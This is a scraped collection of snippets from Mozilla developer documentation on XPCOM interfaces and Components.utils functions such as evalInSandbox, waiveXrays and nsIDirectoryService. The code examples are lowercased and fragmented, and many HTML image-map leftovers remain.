... for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8.
Components.utils.evalInWindow
example suppose a page script defines a variable: // page-script.js var somelocalvariable = { name: "selection1", node: document.documentelement }; an add-on script or other privileged script can access the variable using evalinwindow(): // add-on-script.js var result = components.utils.evalinwindow("somelocalvariable", contentwindow); console.log(result); // {"name":"selection1","node":{}} the add-on code can modify the variable as well, of course: // add-on-script.js components.utils.evalin...
...window("somelocalvariable.newprop = 42", contentwindow); // page-script.js console.log(window.somelocalvariable.newprop); // 42 but note that the add-on script must trust that the page script has not redefined the setter on somelocalvariable: unlike xraywrappers, evalinwindow() does not provide x-ray vision.
... if the returned object contains a function, calls to evalinwindow() will throw an error: // page-script.js function bar() { } var somelocalvariablecontainingafunction = {name: "selection1", foo : bar}; // add-on-script.js components.utils.evalinwindow("somelocalvariablecontainingafunction", contentwindow); // error, function can't be cloned ...
Components.utils.import
syntax components.utils.import(url [, scope]); // or, if you use a tool such as jslint which reports compiler errors for the above, components.utils["import"](url [, scope]); parameters url a string of the url of the script to be loaded.
... example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference from mozijssubscriptloader the differences from mozijssubscriptloader: the behavior when importing/loading the same code from different locations: the subscript loader evaluates the specified code each time it is invoked, with the caller's global object.
... for example: var scope1 = {}, scope2 = {}; components.utils.import("resource://gre/modules/json.jsm", scope1); components.utils.import("resource://gre/modules/json.jsm", scope2); assert(scope2.xpcomutils === scope1.xpcomutils); ...returns true, whereas: var someurl = "resource://gre/modules/json.jsm"; var obj1 = {}, obj2 = {}; var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript(someurl, obj1); loader.loadsubscript(someurl, obj2); assert(obj2 === obj1); ...returns false.
Components.utils.importGlobalProperties
example components.utils.import("resource://gre/modules/devtools/console.jsm"); components.utils.importglobalproperties(["atob", "btoa"]); var encoded = btoa("hello"); console.log(encoded); // "sgvsbg8=" console.log(atob(encoded)); // "hello" alternative methods if importglobalproperties does not support the targeted firefox version, here are some alternative methods to import these objects.
...knowing that, we can just get a valid blob by importing a known module that has the objects, such as services.jsm const {blob, file, services} = cu.import("resource://gre/modules/services.jsm", {}); reference: stackoverflow :: use blob on firefox add-on hiddendomwindow the hidden domwindow has all of these objects automatically imported.
... var domfile = services.appshell.hiddendomwindow.file('/path/to/file'); xpcom components some objects have an xpcom alternative, which typically allows more flexibility then the dom version here is an example of how to use the dom xmlhttprequest through xpcom interface of nsixmlhttprequest: var oreq = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); ...
Components.utils.reportError
it is meant for use by extension developers who have exception handler blocks which want to "eat" an exception, but still want to report it to the console.
... function mydump(amessage) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage("my component: " + amessage); } firefox 3: the error console will not display chrome errors by default.
... examples usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
Components.utils.waiveXrays
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection: // chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined ...
... // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false ...
nsDirectoryService
this service returns the locations of "well known" directories in an os-independent manner.
... example code #include "nsxpcom.h" #include "nscomptr.h" #include "nsdirectoryservicedefs.h" #include "nsiservicemanager.h" #include "nsiproperties.h" /** * get the location of the system's "temp" directory.
... */ nsresult gettempdir(nsifile **aresult) { nsresult rv; nscomptr<nsiservicemanager> svcmgr; rv = ns_getservicemanager(getter_addrefs(svcmgr)); if (ns_failed(rv)) return rv; nscomptr<nsiproperties> directory; rv = svcmgr->getservicebycontractid("@mozilla.org/file/directory_service;1", ns_get_iid(nsiproperties), getter_addrefs(directory)); if (ns_failed(rv)) return rv; rv = directory->get(ns_os_temp_dir, ns_get_iid(nsifile), aresult); return rv; } note that ns_os_temp_dir is defined in nsdirectoryservicedefs.h along with a number of other directory service keys.
NS_NewLocalFile
#include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newlocalfile( const nsastring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a utf-16 string object that specifies an absolute filesystem path.
... remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home directory.
... example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_newlocalfile(nsembedstring(l"c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short.
NS_NewNativeLocalFile
#include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newnativelocalfile( const nsacstring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a string object that specifies an absolute filesystem path.
... remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home directory.
... example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_newnativelocalfile(nsembedcstring("c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; here, nsembedcstring is used to convert the ascii string literal to an object that can be passed as a const nsacstring& parameter.
nsACString (External)
class declaration <map id="classes" name="classes"><area alt="" coords="1005,6,1096,54" href="http://developer.mozilla.org/en/nsacstring_(external)" shape="rect" title="nsacstring_(external)"> <area alt="" coords="980,102,1121,150" href="http://developer.mozilla.org/en/nscstringcontainer_(external)" shape="rect" title="nscstringcontainer_(external)"> <area alt="" coords="571,198,707,246" href="http://developer.mozilla.org/en/nscstring_external" shape="rect" title="nscstring_external"> <area alt="" coords="731,198,955,246" href="http://developer.mozilla.org/en/nsdependentcsubstring_external" shape="rect" title="nsdependentcsubstring_external"> <area alt="" coords="979,198,1123,246" href="http://developer.mozilla.org/en/promiseflatcstring_(external)" shape="rect" title="promiseflatcst...
...ring_(external)"> <area alt="" coords="1147,198,1259,246" href="http://developer.mozilla.org/en/nscautostring_(external)" shape="rect" title="nscautostring_(external)"> <area alt="" coords="5,294,208,342" href="http://developer.mozilla.org/en/nsdependentcstring_external" shape="rect" title="nsdependentcstring_external"> <area alt="" coords="232,294,475,342" href="http://developer.mozilla.org/en/ns_convertutf16toutf8_external" shape="rect" title="ns_convertutf16toutf8_external"> <area alt="" coords="499,294,779,342" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii_external" shape="rect" title="ns_lossyconvertutf16toascii_external"> <area alt="" coords="803,294,925,342" href="http://developer.mozilla.org/en/nsliteralcstring_(external)" shape="rect" title="nsliteralcstring_(ex...
...ternal)"></map> method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger ...
nsACString_internal
<map id="classes" name="classes"> <area alt="" coords="456,5,605,53" href="http://developer.mozilla.org/en/nsacstring_internal" shape="rect" title="nsacstring_internal"> <area alt="" coords="415,101,497,149" href="http://developer.mozilla.org/en/nscstring" shape="rect" title="nscstring"> <area alt="" coords="521,101,689,149" href="http://developer.mozilla.org/en/nsdependentcsubstring" shape="rect" title="n...
...sdependentcsubstring"> <area alt="" coords="172,197,289,245" href="http://developer.mozilla.org/en/nsfixedcstring" shape="rect" title="nsfixedcstring"> <area alt="" coords="315,197,437,245" href="http://developer.mozilla.org/en/nsxpidlcstring" shape="rect" title="nsxpidlcstring"> <area alt="" coords="461,197,611,245" href="http://developer.mozilla.org/en/nsdependentcstring" shape="rect" title="nsdependentcstring"> <area alt="" coords="635,197,787,245" href="http://developer.mozilla.org/en/nspromiseflatcstring" shape="rect" title="nspromiseflatcstring"> <area alt="" coords="173,293,285,341" href="http://developer.mozilla.org/en/nscautostring" shape="rect" title="nscautostring"> <area alt="" coords="5,389,227,437" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii" shape="rect"...
... title="ns_lossyconvertutf16toascii"> <area alt="" coords="251,389,435,437" href="http://developer.mozilla.org/en/ns_convertutf16toutf8" shape="rect" title="ns_convertutf16toutf8"> <area alt="" coords="309,293,445,341" href="http://developer.mozilla.org/en/nsadoptingcstring" shape="rect" title="nsadoptingcstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(c...
nsAString (External)
<map id="classes" name="classes"> <area alt="" coords="963,6,1045,54" href="http://developer.mozilla.org/en/nsastring_(external)" shape="rect" title="nsastring_(external)"> <area alt="" coords="939,102,1069,150" href="http://developer.mozilla.org/en/nsstringcontainer_(external)" shape="rect" title="nsstringcontainer_(external)"> <area alt="" coords="548,198,676,246" href="http://developer.mozilla.org/en/nsstring_external" shape="rect" title="nsstring_external"> <area alt="" coords="700,198,913,246" href="http://developer.mozilla.org/en/nsdependentsubstring_external" shape="rect" title="nsdependentsubstring_external"> <area alt="" coords="93...
...7,198,1071,246" href="http://developer.mozilla.org/en/promiseflatstring_(external)" shape="rect" title="promiseflatstring_(external)"> <area alt="" coords="1095,198,1196,246" href="http://developer.mozilla.org/en/nsautostring_(external)" shape="rect" title="nsautostring_(external)"> <area alt="" coords="5,294,197,342" href="http://developer.mozilla.org/en/nsdependentstring_external" shape="rect" title="nsdependentstring_external"> <area alt="" coords="221,294,467,342" href="http://developer.mozilla.org/en/ns_convertasciitoutf16_external" shape="rect" title="ns_convertasciitoutf16_external"> <area alt="" coords="491,294,733,342" href="http://developer.mozilla.org/en/ns_convertutf8toutf16_external" shape="rect" title="ns_convertutf8toutf16_external"> <area alt="" coords="757,294,869,342" href...
...="http://developer.mozilla.org/en/nsliteralstring_(external)" shape="rect" title="nsliteralstring_(external)"> </map> method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
nsAString_internal
<map id="classes" name="classes"> <area alt="" coords="415,5,553,53" href="http://developer.mozilla.org/en/nsastring_internal" shape="rect" title="nsastring_internal"> <area alt="" coords="379,101,451,149" href="http://developer.mozilla.org/en/nsstring" shape="rect" title="nsstring"> <area alt="" coords="475,101,635,149" href="http://developer.mozilla.org/en/nsdependentsubstring" shape="rect" title="nsdepe...
...ndentsubstring"> <area alt="" coords="151,197,257,245" href="http://developer.mozilla.org/en/nsfixedstring" shape="rect" title="nsfixedstring"> <area alt="" coords="284,197,396,245" href="http://developer.mozilla.org/en/nsxpidlstring" shape="rect" title="nsxpidlstring"> <area alt="" coords="420,197,559,245" href="http://developer.mozilla.org/en/nsdependentstring" shape="rect" title="nsdependentstring"> <area alt="" coords="583,197,727,245" href="http://developer.mozilla.org/en/nspromiseflatstring" shape="rect" title="nspromiseflatstring"> <area alt="" coords="152,293,253,341" href="http://developer.mozilla.org/en/nsautostring" shape="rect" title="nsautostring"> <area alt="" coords="5,389,192,437" href="http://developer.mozilla.org/en/ns_convertasciitoutf16" shape="rect" title="ns_convertasc...
...iitoutf16"> <area alt="" coords="216,389,400,437" href="http://developer.mozilla.org/en/ns_convertutf8toutf16" shape="rect" title="ns_convertutf8toutf16"> <area alt="" coords="277,293,405,341" href="http://developer.mozilla.org/en/nsadoptingstring" shape="rect" title="nsadoptingstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt ...
IAccessible2
refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
IAccessibleAction
"ctrl+shift+d".
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...if there are more than one, the first one is considered the "default" action of the object.
IAccessibleText
for example, if the string "one two three" is implemented as a two text() objects, with a top level text() object containing an embed character "one ?
... three" and a child text() object containing "two" and if the caret is in the descendant object just before the 'o' in "two", then: the caretoffset for the "one ?
... three" object would be 4, matching the embed character</li> the caretoffset for "two" would be 2, matching the "o" the caret position/offset is that of the character logically following it, for example to the right of it in a left to right language.
imgIDecoderObserver
1.0 66 introduced gecko 12.0 inherits from: imgicontainerobserver last changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications.
...this does not include "header-only" decodes used by decode-on-draw to parse the width/height out of the image.
...unfortunately, this is currently the only way to signal decoding errors to consumers, and the only decoding errors that consumers care about (indeed, the only ones that they're prepared to hear about) are failures to instantiate the decoder (<img src="foo.html"> for example).
mozIStorageService
opening a connection to "foo.sqlite" and "foo.sqlite" will corrupt your database.
...valid values are "profile" and "memory".
...opening a connection to "foo.sqlite" and "foo.sqlite" will corrupt your database.
mozIThirdPartyUtil
for example, if auri is "http://mail.google.com/", achannel has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true.
...for example, the uri "http://mail.google.com/" is not third party with respect to "http://images.google.com/", but "http://mail.yahoo.com/" and "http://192.168.1.1/" are.
...(this means that nested iframes with different base domains, even though the bottommost and topmost uris might be equal, will be considered third party.) for example, if auri is "http://mail.google.com/", 'awindow' has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true.
nsIAppShell
runinstablestate() allows running of a "synchronous section", in the form of an nsirunnable once the event loop has reached a "stable state".
...under some circumstances these "additional methods" can cause gecko event handlers to be re-entered, sometimes leading to hangs and crashes.
...on some platforms (those that do not use any "additional methods") this will be a no-op.
nsIAuthInformation
otherwise, this will be a string such as "basic" or "digest".
...otherwise, this is a human-readable string like "secret files".
...for example, a paragraph in the dialog might say "please enter your password for user jsmith at server intranet".
nsIBrowserHistory
to use this service, use: var browserhistory = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsibrowserhistory); method overview void addpagewithdetails(in nsiuri auri, in wstring atitle, in long long alastvisited); obsolete since gecko 15.0 void markpageasfollowedlink(in nsiuri auri); obsolete since gecko 22.0 void markpageastyped(in nsiuri auri); obsolete si...
...this will cause the transition type of the next visit of the url to be marked as "typed." void markpageastyped( in nsiuri auri ); parameters auri the page that is to be marked as typed by the user.
...you can also pass in the localized "(local files)" title given to you by a history query to remove all history information for local files.
nsIBrowserSearchService
to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization.
...this differs from the "defaultengine" attribute in that it always returns a given build's default engine, regardless of whether it is hidden.
...must be a case insensitive value of either "get" or "post".
nsIChannel
in earlier versions callers could get the "content-length" property as 64-bit value by queryinterfacing the channel to nsipropertybag2, if that interface is exposed by the channel.
... note: a channel implementation should take care when "caching" an interface pointer queried from its notification callbacks.
...this is used in the case of a redirect or uri "resolution" (for example resolving a resource: uri to a file: uri) so that the original pre-redirect uri can still be obtained.
nsIComponentManager
t nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstrappedmanifestlocation(in nsilocalfile alocation); methods addbootstrappedmanifestlocation() loads a "bootstrapped" chrome.manifest file from the specified directory or xpi file.
... a "bootstrapped" chrome manifest supports some of the instructions allowed in a regular chrome manifest, see the chrome registration documentation for details.
... function startup(params, areason) { if (services.vc.compare(services.appinfo.platformversion, "10.0") < 0) components.manager.addbootstrappedmanifestlocation(params.installpath); } function shutdown(params, areason) { if (services.vc.compare(services.appinfo.platformversion, "10.0") < 0) components.manager.removebootstrappedmanifestlocation(params.installpath); } ...
nsIContentSecurityPolicy
n, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisupports aextra); attributes attribute type description allowseval boolean whether this policy allows eval and eval-like functions such as settimeout("code string", time).
...refinepolicy() updates the policy currently stored in the content security policy to be "refined" or tightened by the one specified in the string policystring.
...the uri may be null, in which case "self" is sent.
nsIConverterInputStream
to create an instance, use: var converterinputstream = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); method overview void init(in nsiinputstream astream, in string acharset, in long abuffersize, in prunichar areplacementchar); constants constant value description default_replacement_character 0xfffd default replacement character value.
...a value of null or "utf-8" equals utf-8 encoding.
... latin 1 is specified as "iso-8859-1".
nsIDNSService
to access the service, use: var dnsservice = components.classes["@mozilla.org/network/dns-service;1"] .createinstance(components.interfaces.nsidnsservice); note: starting in gecko 7.0, the "happy eyeballs" strategy is used to reduce lengthy timeouts when attempting backup connections during attempts to connect from clients that have broken ipv6 connectivity.
...example let dnsservice = components.classes["@mozilla.org/network/dns-service;1"] .createinstance(components.interfaces.nsidnsservice); let thread = components.classes["@mozilla.org/thread-manager;1"] .getservice(components.interfaces.nsithreadmanager).currentthread; let host = "www.mozilla.org"; let listener = { onlookupcomplete: function(request, record, status) { if (!components.issuccesscode(status)...
...) { // handle error here return; } let address = record.getnextaddrasstring(); console.log(host + " = " + address); } }; dnsservice.asyncresolve(host, 0, listener, thread); ...
nsIDOMChromeWindow
the mouse cursor is locked to the specified cursor if it's not "auto".
...after you call this method with "auto", the cursor will be unlocked.
...and there are special values: "grab", "grabbing" and "spinning".
nsIDOMHTMLSourceElement
example <video controls> <source src="foo.webm" type="video/webm; codecs=&quot;vp9, opus&quot;"> your browser does not support the <code>video</code> element.
... </video> this example specifies that a video object with playback controls should be drawn, playing the file "foo.ogg".
... the type is specified as "video/ogg", and the source element also specifies that the video file uses the dirac and speex codecs.
nsIDOMMozNetworkStatsManager
to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstatsmanager;1"] .createinstance(components.interfaces.nsidomnetworkstatsmanager); furthermore, the networkstatsmanager is published through a moznetworkstats child object within the navigator object.
...you can test for the presence of the service as follows, for example: if ("moznetworkstats" in navigator) { /* networkstats is available */ } else { alert("i'm sorry, but networkstats services are not supported."); } method overview nsidomdomrequest getsamples(in nsisupports network, in jsval start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); nsidomdomrequest addalarm(in nsisupports network, in long threshold, [optional] in jsval options /* networkstatsalarmoptions */); nsidomdomrequest getallalarms([optional...
...when total data usage reaches threshold bytes, a "networkstats-alarm" system message is sent to the application, where the optional parameter data must be a cloneable object.
nsIDOMNSHTMLDocument
void releaseevents(in long eventflags); void routeevent(in nsidomevent evt); void write(); obsolete since gecko 2.0 void writeln(); obsolete since gecko 2.0 attributes attribute type description alinkcolor domstring same as body.alink bgcolor domstring same as body.bgcolor compatmode domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode.
... designmode domstring set to "on" or "off" to enable or disable editing for the entire document at once.
... embeds nsidomhtmlcollection equivalent to getelementsbytagname("embed") read only.
nsIDOMParser
to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
...examples within the context of a window: var parser = new domparser(); var doc = parser.parsefromstring(astr, "application/xml"); outside of a window (e.g., a js xpcom component, a js module, or an xpcshell test): var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefromstring(astr, "application/xml"); using components.constructor(): const domparser = new components.constructor("@mozilla.org/xmlextras...
.../domparser;1", "nsidomparser"); var parser = new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefromstring(astr, "application/xml"); ...
nsIDOMStorageEventObsolete
if the value of the domain attribute is "#session", then the session storage has changed.
... method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage.
... domainarg the domain to which the event belongs, or "#session" if the event is associated with session storage.
nsIEnvironment
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/process/environment;1 as a service: var env = components.classes["@mozilla.org/process/environment;1"].
... for non-unix/linux platforms we have to fall back to a "portable" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not.
... var nsienvironment = components.classes["@mozilla.org/process/environment;1"].getservice(components.interfaces.nsienvironment); var pathtoprogramfiles = nsienvironment.get("programfiles"); //for me this returns "c:\program files" ...
nsIIDNService
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/idn-service;1 as a service: var idnservice = components.classes["@mozilla.org/network/idn-service;1"] .getservice(components.interfaces.nsiidnservice); method overview autf8string convertacetoutf8(in acstring input); autf8string converttodisplayidn(in autf8string input, out boolean isascii); acstring convertutf8toace(in autf8string input); boolean isace(in acstring input); autf8string normalize(in autf8string input); methods convertacetoutf8() converts an a...
...this combines two operations: running the rfc 3490 "tounicode" operation on the original string, then converting the resulting unicode string into utf-8 format.
...convertutf8toace() converts the specified hostname from utf-8 to ace format, using the idna "toascii" algorithm.
nsIIdleService
to create an instance, use: var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice); method overview void addidleobserver(in nsiobserver observer, in unsigned long time); void removeidleobserver(in nsiobserver observer, in unsigned long time); attributes attribute type description idletime unsigned long the amount of ti...
... example example 1 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) settimeout(function() { alert(idleservice.idletime) }, 1000) // if you don't use the mouse or the keyboard after running this snippet, // you'll see a number around 1000 alerted.
... example 2 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) var idleobserver = { observe: function(subject, topic, data) { alert("topic: " + topic + "\ndata: " + data); } }; idleservice.addidleobserver(idleobserver, 60); // one minute // ...
nsIInputStream
inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... unsigned long readsegments( in nswritesegmentfun awriter, in voidptr aclosure, in unsigned long acount ); parameters awriter the "consumer" of the data to be read.
... nsresult consumestream(nsiinputstream* astream) { nsresult rv; uint32_t numread; char buf[512]; while (1) { rv = astream->read(buf, sizeof(buf), &numread); if (ns_failed(rv)) { printf("### error reading stream: %x\n", rv); break; } if (numread == 0) break; // buf now contains numread bytes of data } return rv; } consume all data from an input stream using readsegments().
nsILoginManagerStorage
for example: "http://www.site.com".
...for example, "http://mozilla.com".
...the argument is in origin url format, without a pathname (for example: "http://mozilla.com").
nsIMIMEInputStream
to create an instance, use: var mimeinputstream = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); method overview void addheader(in string name, in string value); void setdata(in nsiinputstream stream); attributes attribute type description addcontentlength boolean when true a "content-length" header is automatically added to the stream.
... methods addheader() adds an additional header to the stream on the form "name: value".
... example var postdata = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); ...
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message senders enable clients to send asynchronous messages to a single "other side".
...to send messages to multiple "other sides", you would use nsimessagebroadcaster.
...methods void sendasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in nsiprincipal principal); sendasyncmessage() send messagename and obj to the "other side" of this message manager.
nsIMsgIncomingServer
limitofflinemessagesize boolean localpath nsilocalfile localstoretype acstring the schema for the local mail store, such as "mailbox", "imap", or "news" used to construct uris.
... performingbiff boolean port long prettyname astring pretty name - should be "userid on hostname" if the pref is not set.
... type acstring protocol type, that is "pop3", "imap", "nntp", "none", and so on.
nsINavHistoryQuery
the default value is "-1", and in that case all items are matched regardless of their visit count.
...the default value is "-1", and in that case all items are matched regardless of their visit count.
...for example, a "past week" query would be (today-6 days -> today+1 day).
nsINavHistoryResultViewObserver
for example, when the delete key is pressed, this method is called with the string "delete".
...for example, when the delete key is pressed, this method is called with the string "delete".
...for example, when the delete key is pressed, this method is called with the string "delete".
nsIObserverService
implemented by @mozilla.org/observer-service;1 as a service: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); method overview void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak); nsisimpleenumerator enumerateobservers( in string atopic ); void notifyobservers( in nsisupports asubject, in string atopic, in wstring somedata ); v...
... example this notifies all nsiobservers watching the "mytopicid" topic with an additional data parameter.
... components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice) .notifyobservers(null, "mytopicid", "someadditionalinformationpassedas'data'parameter"); see also nsobserverservice observer notifications provides an overview of observers and a list of built-in notifications fired by mozilla.
nsIParentalControlsService
to create an instance, use: var parentalcontrolsservice = components.classes["@mozilla.org/parental-controls-service;1"] .createinstance(components.interfaces.nsiparentalcontrolsservice); method overview void log(in short aentrytype, in boolean aflag, in nsiuri asource, [optional] in nsifile atarget); boolean requesturioverride(in nsiuri atarget, [optional] in nsiinterfacerequestor awindowcontext); boolean requestu...
... this method may block while the operating system presents user interface to handle the override request (such as an "enter an administrator's password" dialog box).
... this method may block while the operating system presents user interface to handle the override request (such as an "enter an administrator's password" dialog box).
nsIPrefBranch2
atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch.
...for example, if your observer is registered with addobserver("bar.", ...) on a branch with root "foo.", modifying the preference "foo.bar.baz" will trigger the observer, and adata parameter will be "bar.baz".
...for example holding the "root" prefbranch and calling addobserver("foo.bar.", ...) will observe changes to foo.bar.baz and foo.bar.bzip.
nsIPrefService
inherits from: nsisupports last changed in gecko 1.7 method overview nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data.
...nsnull or "" (empty string) may be used to access to the entire preference tree.
...nsnull or "" (empty string) may be used to access to the entire preference tree.
nsIPropertyBag
goodies obtained from window.navigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwrappednative_nohelper mozpay:null mozper...
...missionsettings:null mozphonenumberservice:phonenumberservice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt 5.1; rv:30.0) gecko/20100101 firefox/30.0" vendor:"" vendorsub:"" __proto__:navigatorprototype from here we can easily see the operating system version.
...to do this use nsipropertybag: services.sysinfo.getproperty("version"); //output 5.1 services.sysinfo.getproperty("name"); //output windows_nt services.sysinfo.getproperty("arch"); //output x86 services.sysinfo.getproperty("haswindowstouchinterface"); //outputs false or true if windows touch is there consult the uxp repo (//github.com/realityripple/uxp/blob/master/xpcom/base/nssysteminfo.cpp) for the properties supported.
nsIProtocolHandler
if the protocol doesn't need a port (for example, the "about" protocol), this attribute is -1.
... scheme acstring the scheme for this protocol ("file", "http", and so forth).
... uri_forbids_automatic_document_replacement 1<<5 "automatic" loads that would replace the document (such as a meta refresh, certain types of xlinks, and other non-user-triggered loads) are not allowed if the originating uri has this protocol flag.
nsIPushSubscription
example const { classes: cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager;1"] .getservice(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"] .getservice(ci.nsipushservice); function sendsubscriptiontoserver(subscription) { let request = cc["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(ci.nsixmlhttprequest); request...
....open("post", "https://example.com/register-for-push", true); request.addeventlistener("error", () => { cu.reporterror("error sending subscription to server"); }); request.send(json.stringify({ endpoint: subscription.endpoint, // base64-encode the key and authentication secret.
